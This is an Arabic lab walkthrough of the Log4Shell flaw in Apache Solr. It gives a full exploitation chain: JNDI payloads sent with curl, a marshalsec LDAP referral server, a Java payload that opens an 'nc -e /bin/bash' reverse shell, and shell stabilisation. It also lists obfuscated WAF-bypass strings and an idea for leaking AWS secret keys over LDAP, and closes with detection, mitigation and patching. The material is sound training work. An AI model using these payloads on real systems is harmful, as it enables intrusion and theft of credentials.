ثغرة Log4j، المعروفة أيضًا باسم "Log4Shell" أو "CVE-2021-44228"، هي عيب أمني خطير في مكتبة Apache Log4j. Log4j هي إطار تسجيل قائم على جافا يُستخدم على نطاق واسع، ويتيح للمطورين تسجيل الرسائل من التطبيقات إلى وجهات مختلفة، مثل الملفات وقواعد البيانات والمخرجات الطرفية.

تم اكتشاف الثغرة في ديسمبر 2021، وحظيت باهتمام كبير نظرًا لخطورتها وإمكانية استغلالها. تؤثر الثغرة على إصدارات Log4j 2.x، وفي بعض الحالات، حتى الإصدارات السابقة. ثغرة Log4j هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE)، مما يعني أن المهاجم يمكنه تنفيذ تعليمات برمجية عشوائية على النظام المستهدف من خلال استغلال العيب. يحدث العيب بسبب خلل في تصميم مكتبة Log4j يتعلق بمعالجة رسائل السجل التي تحتوي على بيانات مصممة خصيصًا.

يعتمد استغلال الثغرة على القدرة على حقن تعليمات برمجية ضارة في رسالة السجل. يمكن تحقيق ذلك من خلال ناقلات مختلفة، مثل حقول الإدخال التي يتحكم فيها المستخدم، أو رؤوس طلبات HTTP، أو أي بيانات يقدمها المستخدم يتم تمريرها إلى تعليمة السجل.

عندما يقوم تطبيق ضعيف بمعالجة رسالة سجل تحتوي على البيانات المصممة خصيصًا، يفسر Log4j البيانات على أنها بحث في Java Naming and Directory Interface (JNDI). من خلال استغلال هذا السلوك، يمكن للمهاجم صياغة حمولة تؤدي إلى بحث JNDI إلى خادم ضار يتحكم فيه المهاجم. يمكن لهذا الخادم بعد ذلك الرد بحمولة يتم تنفيذها على النظام المستهدف، مما يسمح للمهاجم بتحقيق تنفيذ التعليمات البرمجية عن بُعد.

تأثير ثغرة Log4j شديد لأن Log4j يُستخدم على نطاق واسع عبر العديد من التطبيقات القائمة على جافا، بما في ذلك خوادم الويب والتطبيقات والخدمات السحابية. تسمح الثغرة للمهاجمين بالوصول غير المصرح به إلى الأنظمة المتأثرة، مما قد يؤدي إلى اختراق البيانات، واختراق النظام، ومزيد من الاستغلال للبيئة المخترقة.

اليوم، يتوفر إصدار log4j 2.16.0 ويصلح هذه الثغرة (تم تعطيل JNDI بالكامل، وإزالة دعم عمليات بحث الرسائل، وثغرة DoS الجديدة CVE-2021-45046 غير موجودة). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

ومع ذلك، فإن الخطر الهائل لهذه الثغرة يعود إلى مدى انتشار حزمة التسجيل. الملايين من التطبيقات بالإضافة إلى مزودي البرامج يستخدمون هذه الحزمة كاعتماد في الكود الخاص بهم. بينما قد تتمكن من تصحيح قاعدة الكود الخاصة بك التي تستخدم log4j، فإن البائعين والمصنعين الآخرين سيظلون بحاجة إلى دفع تحديثات الأمان الخاصة بهم إلى الأسفل. شبه العديد من باحثي الأمن هذه الثغرة بثغرة Shellshock نظرًا لطبيعة سطح الهجوم الهائل. سنرى هذه الثغرة لسنوات قادمة.

للحصول على قائمة مدعومة من المجتمع تنمو باستمرار للبرامج والخدمات المعرضة لـ CVE-2021-44228، تحقق من مستودع GitHub هذا (https://github.com/YfryTchsGD/Log4jAttackSurface)

بينما هناك عدد من المقالات والمدونات والموارد ومواد التعلم الأخرى المحيطة بـ CVE-2021-44228، أنا (مؤلف هذا التمرين) أميل بشكل خاص إلى هذه:

حزمة log4j تضيف منطقًا إضافيًا إلى السجلات عن طريق "تحليل" الإدخالات، بهدف إثراء البيانات في النهاية - ولكنها قد تتخذ أيضًا إجراءات وحتى تقوم بتقييم الكود بناءً على بيانات الإدخال. هذا هو جوهر CVE-2021-44228. قد يتم تنفيذ صيغ أخرى في الواقع تمامًا كما يتم إدخالها في ملفات السجل. بعض الأمثلة على هذه الصيغ هي:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

قد تعرف بالفعل الحمولة العامة لاستغلال هذه الثغرة في log4j. تنسيق الصيغة المعتادة التي تستغل هذا يبدو هكذا:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

تشير هذه الصيغة إلى أن log4j سوف يستدعي وظائف من "JNDI"، أو "Java Naming and Directory Interface". في النهاية، يمكن استخدام هذا للوصول إلى موارد خارجية، أو "مراجع"، وهو ما يتم تسليحه في هذا الهجوم.

لاحظ مخطط "ldap://". يشير هذا إلى أن الهدف سيتصل بنقطة نهاية (موقع يتحكم فيه المهاجم، في حالة هذا الهجوم) عبر بروتوكول LDAP. من أجل الاختصار، لن نحتاج إلى تغطية جميع التفاصيل الدقيقة لـ LDAP هنا، ولكن اعلم أن هذا شيء سنحتاج إلى التعامل معه أثناء تحسين هجومنا. في الوقت الحالي، اعلم أن الهدف سيقوم بالفعل بعمل اتصال بموقع خارجي. يشار إلى ذلك بواسطة العنصر النائب ATTACKERCONTROLLEDHOST في الصيغة أعلاه. أنت، باعتبارك المهاجم في هذا السيناريو، يمكنك استضافة مستمع بسيط لعرض هذا الاتصال.

السؤال التالي هو، أين يمكننا إدخال هذه الصيغة؟ في أي مكان يتم فيه تسجيل البيانات بواسطة التطبيق.

هذا هو جوهر هذه الثغرة. لسوء الحظ، من الصعب جدًا تحديد سطح الهجوم للتطبيقات المختلفة، وبالتالي، أي التطبيقات ضعيفة بالفعل. مجرد رؤية وجود ملفات log4j لا يكشف عن رقم الإصدار الدقيق، أو حتى أين وكيف يستخدم التطبيق الحزمة.

مواقع أخرى قد تقدم فيها صيغة JNDI هذه:

مربعات الإدخال، نماذج تسجيل الدخول للمستخدم وكلمة المرور، نقاط إدخال البيانات داخل التطبيقات
رؤوس HTTP مثل User-Agent و X-Forwarded-For أو رؤوس أخرى قابلة للتخصيص
أي مكان للبيانات التي يقدمها المستخدم

إذا كنت ترغب في مزيد من المعلومات حول ناقل هجوم JNDI هذا، يرجى مراجعة هذا العرض التقديمي من Black Hat USA 2016. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

إثبات المفهوم (POC)

لتحضير بيئتك لاختبار الثغرة واستقبال اتصال، اعرض عنوان IP الخاص بجهازك المهاجم بالأمر التالي: user@host$ ip addr show
قم بإعداد مستمع netcat على أي منفذ تختاره (9999 مثال جيد): user@host$ nc -lnvp 9999
الآن بعد أن قمت بإعداد المستمع، قم بتقديم طلب يتضمن صيغة حمولة JNDI البدائية هذه كجزء من معلمات HTTP. يمكن القيام بذلك بسهولة باستخدام أداة سطر الأوامر curl. user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' ملاحظة: نظرًا لاستخدام حرف الدولار $ في صيغتك، يجب التأكد من وضع عنوان URL بين علامتي اقتباس مفردة حتى لا يفسره bash (قذيفة سطر الأوامر الخاصة بك) كمتغير. بالإضافة إلى ذلك، يجب عليك إفلات الأقواس المتعرجة { } بشرطة مائلة عكسية واحدة، حتى لا يتم تفسيرها بشكل خاطئ في وسائط أمر curl.
تحقق من استلام اتصال برؤية الرسالة التالية في مستمع netcat الخاص بك: Connection received from <x.x.x.x>

الاستغلال (Exploitation) في هذه المرحلة، قمت بالتحقق من أن الهدف ضعيف بالفعل من خلال رؤية هذا الاتصال الذي تم التقاطه في مستمع netcat الخاص بك. ومع ذلك، فقد قام بعمل طلب LDAP... لذلك كل ما قد يكون مستمع netcat الخاص بك قد رآه هو أحرف غير قابلة للطباعة (بايتات غريبة المظهر). يمكننا الآن البناء على هذا الأساس للرد باستخدام معالج LDAP حقيقي.

سنستخدم أداة مفتوحة المصدر وعامة لمرحلة "خادم إحالة LDAP". سيتم استخدام هذا لإعادة توجيه الطلب الأولي للضحية إلى موقع آخر، حيث يمكنك استضافة حمولة ثانوية ستقوم في النهاية بتشغيل كود على الهدف. يتحلل هذا كالتالي:

${jndi:ldap://attackerserver:1389/Resource} -> يتصل بخادم إحالة LDAP الخاص بنا
خادم إحالة LDAP ينطلق بالطلب إلى http://attackerserver/resource ثانوي
يسترد الضحية وينفذ الكود الموجود في http://attackerserver/resource

هذا يعني أننا سنحتاج إلى خادم HTTP، والذي يمكننا ببساطة استضافته باستخدام أي من الخيارات التالية (يخدم على المنفذ 8000):

python3 -m http.server
php -S 0.0.0.0:8000 (أو أي busybox httpd أو خدمة ويب رسمية أخرى قد ترغب بها)

أول شيء يجب القيام به هو الحصول على خادم إحالة LDAP. سنستخدم أداة marshalsec المتوفرة على https://github.com/mbechler/marshalsec

في النهاية، هذا يحتاج إلى تشغيل جافا. مراجعة ملف README لهذه الأداة، يقترح استخدام جافا 8. (قد تنجح أو لا تنجح مع إصدار مختلف، ولكن "للعب بالقواعد"، سنطابق نفس إصدار جافا المستخدم على الجهاز المستهدف).

راجع خطوات تثبيت جافا 8 محليًا:

إذا لم تكن تعمل على 1.8.0_181 داخل جهازك المهاجم، يمكنك مراجعة خطوات "update-alternatives --set" أدناه للتبديل إلى إصدار جافا 8 هذا. يمكنك العثور على مرآة لإصدارات جافا المختلفة لتشغيلها على لينكس في هذا الموقع. http://mirrors.rootpei.com/jdk/

قم بتشغيل الأوامر التالية لتكوين نظامك لاستخدام إصدار جافا هذا بشكل افتراضي (قم بتعديل مسار نظام الملفات للتنزيل حسب الحاجة): الأوامر: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # قم بتعديل الإصدار حسب الحاجة sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

بعد أن قمت بتنزيل واستخراج وتعيين إعدادات نظام الملفات المناسبة (صيغة update-alternatives) أعلاه، يجب أن تكون قادرًا على تشغيل "java -version" والتحقق من أنك تعمل الآن بالفعل على جافا 1.8.0_181.

قم باستنساخ (https://github.com/mbechler/marshalsec) وتغيير الدليل إلى هذا المجلد الجديد "marshalsec".

يجب علينا بناء marshalsec باستخدام أداة بناء جافا maven. إذا لم يكن لديك maven بعد على نظامك، يمكنك تثبيته من خلال مدير الحزم الخاص بك: الأمر: sudo apt install maven

بعد ذلك، قم بتشغيل الأمر لبناء أداة marshalsec: الأمر: mvn clean package -DskipTests

مع بناء أداة marshalsec، يمكننا بدء خادم إحالة LDAP لتوجيه الاتصالات إلى خادم HTTP الثانوي الخاص بنا (الذي سنقوم بإعداده بعد قليل). مرحب بك للغوص في الاستخدام والمعلمات والإعدادات الأخرى التي يمكن تكوينها بهذه الأداة - ولكن من أجل العرض التوضيحي، صيغة بدء خادم LDAP هي كما يلي: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # قم بتعديل عنوان IP لجهازك المهاجم حسب الحاجة. لاحظ أننا سنقوم بتوفير منفذ HTTP يستمع على 8000.

الآن بعد أن أصبح خادم LDAP الخاص بنا جاهزًا ومنتظرًا، يمكننا فتح نافذة طرفية ثانية لتحضير حمولتنا النهائية وخادم HTTP الثانوي.

في النهاية، ستقوم ثغرة log4j بتنفيذ تعليمات برمجية عشوائية تقوم بصياغتها داخل لغة برمجة جافا. إذا لم تكن على دراية بجافا، فلا تقلق - سنستخدم صيغة بسيطة تقوم ببساطة بـ "الخروج إلى قشرة" لتشغيل أمر نظام. في الواقع، سنسترد اتصال قشرة عكسية حتى نتمكن من السيطرة على الجهاز المستهدف! قم بإنشاء وانتقل إلى دليل جديد حيث يمكنك استضافة هذه الحمولة. أولاً، قم بإنشاء حمولتك في محرر نصوص من اختيارك (mousepad، nano، vim، Sublime Text، VS Code، أياً كان)، بالاسم المحدد "Exploit.java" (متوفر في هذا المستودع). قم بتعديل عنوان IP الخاص بالمهاجم ورقم المنفذ حسب الحاجة.

لهذه الحمولة، يمكنك رؤية أننا سنقوم بتنفيذ أمر على الهدف، وتحديدًا nc -e /bin/bash لاستدعاء جهازنا المهاجم، على الرغم من أنه مرحب بك لتجربة حمولات أخرى.

قم بتجميع حمولتك باستخدام "javac Exploit.java" وتحقق من نجاحها بتشغيل الأمر "ls" والعثور على ملف "Exploit.class" تم إنشاؤه حديثًا. مع إنشاء حمولتك وتجميعها، يمكنك الآن استضافتها عن طريق تشغيل خادم HTTP مؤقت. user@host:~/ python3 -m http.server

حمولتك تم إنشاؤها وتجميعها، وهي مستضافة مع خادم HTTP في طرفية واحدة، خادم إحالة LDAP الخاص بك قيد التشغيل ومنتظر في طرفية أخرى - بعد ذلك قم بإعداد مستمع netcat لالتقاط قشرتك العكسية في نافذة طرفية جديدة أخرى: user@host$ nc -lnvp 9999

أخيرًا، كل ما تبقى هو تشغيل الاستغلال وإطلاق صيغة JNDI الخاصة بنا! لاحظ التغييرات في رقم المنفذ (الآن يشير إلى خادم LDAP الخاص بنا) والمورد الذي نسترده، مع تحديد استغلالنا (قم بتعديل عنوان IP الخاص بالمهاجم حسب الحاجة): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

لقد تلقيت الآن وصولاً أوليًا وتحكمًا وأوامر (C2). في هذه المرحلة، يمكن للمهاجم فعليًا فعل ما يشاء بالضحية - سواء كان تصعيد الصلاحيات، أو تسريب البيانات، أو تثبيت الاستمرارية، أو القيام بحركة جانبية أو أي استغلال لاحق - ربما إسقاط عمال مناجم العملات الرقمية، أو أحصنة طروادة للوصول عن بُعد، أو أدوات إشارة وإصابة، أو حتى نشر برامج الفدية.

الاستمرارية (Persistence) الآن بعد أن حصلت على اتصال قشرة عكسية على الجهاز الضحية، يمكنك مواصلة أي إجراء ترغب فيه. لفهم أفضل لثغرة log4j هذه، دعنا نمنح أنفسنا "وصولاً أفضل" حتى نتمكن من استكشاف الجهاز، وتحليل السجلات المتأثرة، وحتى تخفيف الثغرة!

إذا كنت ترغب في "تثبيت قشرتك" لتسهيل كتابة الأوامر، يمكنك استخدام خدعة الترقية المعتادة (على افتراض أنك تعمل في قشرة bash. إذا كنت تعمل داخل zsh، فستحتاج إلى بدء مستمع netcat الخاص بك داخل قشرة bash فرعية... يجب أن يكون من السهل بما يكفي إعادة الاستغلال):

(على القشرة العكسية) python3 -c "import pty; pty.spawn('/bin/bash')"
(اضغط على لوحة المفاتيح) Ctrl+Z
(اضغط على لوحة المفاتيح) Enter
(على جهازك المحلي) stty raw -echo
(على جهازك المحلي) fg (لن ترى ضغطات المفاتيح - ثق بنفسك واضغط Enter)
(اضغط على لوحة المفاتيح) Enter
(اضغط على لوحة المفاتيح) Enter
(على القشرة العكسية) export TERM=xterm

لديك الآن قشرة مستقرة، حيث يمكنك استخدام مفاتيح الأسهم اليسرى واليمنى بأمان للتحرك داخل إدخالك، ومفاتيح الأسهم لأعلى ولأسفل لمراجعة تاريخ الأوامر، وTab للإكمال التلقائي و Ctrl+C بأمان لإيقاف البرامج قيد التشغيل!

الكشف (Detection) لسوء الحظ، العثور على التطبيقات المعرضة لـ CVE-2021-44228 "Log4Shell" أمر صعب. قد يكون اكتشاف الاستغلال أصعب، بالنظر إلى العدد غير المحدود من التفافات المحتملة.

مع ذلك، شهد مجتمع أمن المعلومات تدفقًا هائلاً من الجهد والدعم لتطوير أدوات ونصوص وبرامج للحد من هذا التهديد بشكل أفضل. يمكنك العثور على قدر هائل من الموارد عبر الإنترنت.

فيما يلي مقتطفات قد تساعد في أي من الجهود:

https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes (محلي، بناءً على تجزئات ملفات JAR الخاصة بـ log4j)
https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (محلي، بناءً على تجزئات ملفات CLASS الخاصة بـ log4j)
https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (قائمة بتجزئات JAR و CLASS الضعيفة)
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (محلي، البحث عن حزم log4j الضعيفة في PowerShell)
https://github.com/darkarnium/CVE-2021-44228 (محلي، قواعد YARA)

كتذكير، يتوفر مورد ضخم هنا:

https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

التفافات (Bypasses) حمولة JNDI التي عرضتها هي الصيغة القياسية و"النموذجية" لأداء هذا الهجوم. إذا كنت مختبِر اختراق أو عضو في فريق أحمر، فقد يتم اكتشاف هذه الصيغة بواسطة جدران حماية تطبيقات الويب (WAFs) أو يتم اكتشافها بسهولة. إذا كنت عضوًا في فريق أزرق أو مستجيب حوادث، يجب أن تبحث بنشاط عن تلك الصيغة وتكتشفها.

نظرًا لأن هذا الهجوم يستغل log4j، يمكن للحمولة في النهاية الوصول إلى نفس حيل التوسع والاستبدال والقوالب التي توفرها الحزمة. هذا يعني أن المهاجم يمكنه استخدام أي نوع من الحيل لإخفاء أو تمويه أو تعمية الحمولة.

مع هذا في الاعتبار، هناك بصراحة عدد غير محدود من الالتفافات للتسلل بهذه الصيغة. بينما لن نتعمق في التفاصيل في هذا التمرين، نشجعك على اللعب بها في هذه البيئة. اقرأها بعناية لفهم الحيل المستخدمة لإخفاء الصيغة الأصلية.

هناك العديد من الموارد عبر الإنترنت التي تعرض بعض الأمثلة على هذه الالتفافات، مع عرض القليل منها أدناه:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

لاحظ استخدام بروتوكول rmi:// في المثال الأخير. هذه أيضًا تقنية صالحة أخرى يمكن استخدامها مع أداة marshalsec - لا تتردد في التجربة!

بالإضافة إلى ذلك، داخل محرك log4j، يمكنك توسيع متغيرات البيئة التعسفية (إذا لم يكن هذا سيئًا بما فيه الكفاية بالفعل). فكر في الضرر الذي يمكن أن يحدث حتى مع تنفيذ التعليمات البرمجية عن بُعد، ولكن ببساطة اتصال LDAP وتسريب ${env:AWS_SECRET_ACCESS_KEY}

لتقنيات أخرى، نشجعك بشدة على إجراء بحثك الخاص. هناك كمية كبيرة من المعلومات تتم مشاركتها في موضوع Reddit هذا: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

التخفيف (Mitigation) الآن بعد أن تصرفت كخصم لبعض الوقت، يرجى خلع قبعة الهاكر وتخفيف الثغرة. راجع تقنيات التخفيف المقترحة على موقع Apache Solr. (https://solr.apache.org/security.html)

أحد الخيارات هو تعديل ملف "solr.in.sh" يدويًا بصيغة محددة. دعنا نذهب بهذا الطريق لعرض هذه التكتيكات الدفاعية.

تشرح صفحة الأمان لموقع Apache Solr أنه يمكنك إضافة هذه الصيغة المحددة إلى ملف solr.in.sh:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

قم بتعديل ملف solr.in.sh باستخدام محرر نصوص من اختيارك. ستحتاج إلى بادئة sudo لاستعارة صلاحيات الجذر إذا لم تكن جذرًا بالفعل. انتقل إلى أسفل الملف، وأضف سطرًا جديدًا بالصيغة أعلاه. احفظ وأغلق الملف.

الآن بعد تعديل ملف التكوين، لا تزال الخدمة بحاجة إلى إعادة التشغيل حتى تصبح التغييرات سارية المفعول. الأمر: user@host$ sudo /etc/init.d/solr restart

للتحقق من أن التصحيح قد تم، ابدأ مستمع netcat آخر كما فعلت من قبل، وقم بتشغيل خادم إحالة LDAP المؤقت وخادم HTTP (مرة أخرى في أطراف منفصلة). سترغب في إعادة إنشاء نفس الإعداد لإعادة استغلال الجهاز.

يجب أن ترى أنه لا يتم تقديم أي طلب إلى خادم LDAP المؤقت الخاص بك، وبالتالي لا يتم تقديم أي طلب إلى خادم HTTP الخاص بك، و... لا يتم إرسال أي قشرة عكسية مرة أخرى إلى مستمع netcat الخاص بك!

التصحيح (Patching) في وقت إنشاء هذا التمرين، لم يتم إصدار Apache Solr 8.11.1 بعد مع تصحيح رسمي لـ CVE-2021-44228. إلى جانب العديد من مزودي البرامج الآخرين، تهرع الصناعة بشكل محموم لتصحيح برامجها ودفعها إلى المستخدمين النهائيين بأسرع ما يمكن.

حيثما كان ذلك مناسبًا، يرجى التأكد من تصحيح حزمة logging-log4j إلى الإصدار 2.16.0 أو أعلى (مع توفر إصدارات جديدة). في الإصدار 2.16.0، تم تعطيل JNDI بالكامل، وإزالة دعم عمليات بحث الرسائل، وثغرة DoS الجديدة CVE-2021-45046 غير موجودة. قم بتنزيل هذا الإصدار هنا: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0إذا كنت مسؤولًا عن تحديد الخدمات الضعيفة التي تستخدم log4j، فهناك قائمة ببعض الخدمات/المنتجات الأكثر تضررًا هنا (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).

الأكثر شعبية

Log4j_CVE-2021-44228